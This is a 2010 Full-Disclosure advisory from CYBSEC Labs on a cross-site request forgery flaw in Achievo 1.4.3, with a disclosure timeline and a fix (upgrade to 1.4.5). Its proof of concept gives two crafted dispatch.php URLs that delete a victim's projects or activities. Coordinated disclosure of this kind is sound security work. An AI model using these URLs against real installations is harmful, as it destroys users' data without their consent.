[Full-disclosure] CYBSEC Advisory 2010 0902 Achievo 1.4.3 (CSRF)

["CYBSEC Labs" <cybseclabs@xxxxxxxxxx>]

Advisory Name: Cross Site Request Forgery in Achievo 1.4.3 
Internal Cybsec Advisory Id: 2010-08-03 

Vulnerability Class: Cross Site Request Forgery 

Release Date: 2010-Sept-28 

Affected Applications: Achievo 1.4.3 (other versions may be also vulnerable) 

Affected Platforms: Any 

Local / Remote: Remote 

Severity: Medium CVSS#2: 4.0 (AV:N/AC:L/Au:S/C:N/I:P/A:N) 

Researcher: Pablo G. Milano 

Vendor Status: Confirmed / Patch is available 

Reference to Vulnerability Disclosure Policy: 
http://www.cybsec.com/vulnerability_policy.pdf 

Vulnerability Description: 

As application does not properly validate the "confirm" parameter in URL, a 
logged-in achievo user may be tricked to access an URL leading to deletion of 
tasks or projects without user?s confirmation 

Proof of Concept: 

  1.. 1) To delete a project: 
http://server/dispatch.php?atknodetype=project.project&atkselector=project.id='XXXX'&atkaction=delete&atklevel=1&atkprevlevel=0&confirm=Yes
 

(where XXXX is the project ID number) 

  1.. 2) To delete an activity: 
http://server/dispatch.php?atknodetype=timereg.hours&atkaction=delete&atkselector=hoursbase.id='XXXX'&confirm=Yes
 

(where "XXXX? is the actual ID of the activity to be deleted) 

Note: Even though a confirmation message is displayed to the user, at that 
point the activity has already been deleted. 

Solution: Upgrade to version 1.4.5 

Vendor Response: 

2010-Aug-04: Vendor is contacted 

2010-Aug-05: Vulnerabilities details are sent to vendor 

2010-Aug-25: Vendor informs status 

2010-Sept-27: Vendor and researcher agree publication date 

2010-Sept-28: Vulnerability public disclosure / Patch is released 

Contact Information: 

For more information regarding the vulnerability feel free to contact the 
researcher at 

pmilano <at> cybsec <dot> com 

About CYBSEC S.A. Security Systems 

Since 1996, CYBSEC is engaged exclusively in rendering professional services 
specialized in Information Security. Their area of services covers Latin 
America, Spain and over 250 customers are a proof of their professional life. 

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is 
associated with other software and/or hardware provider companies. 

Our services are strictly focused on Information Security, protecting our 
clients from emerging security threats, maintaining their IT deployments 
available, safe, and reliable. 

Beyond professional services, CYBSEC is continuously researching new defense 
and attack techniques and contributing with the security community with high 
quality information exchange. 

For more information, please visit www.cybsec.com 

(c) 2010 - CYBSEC S.A. Security Systems

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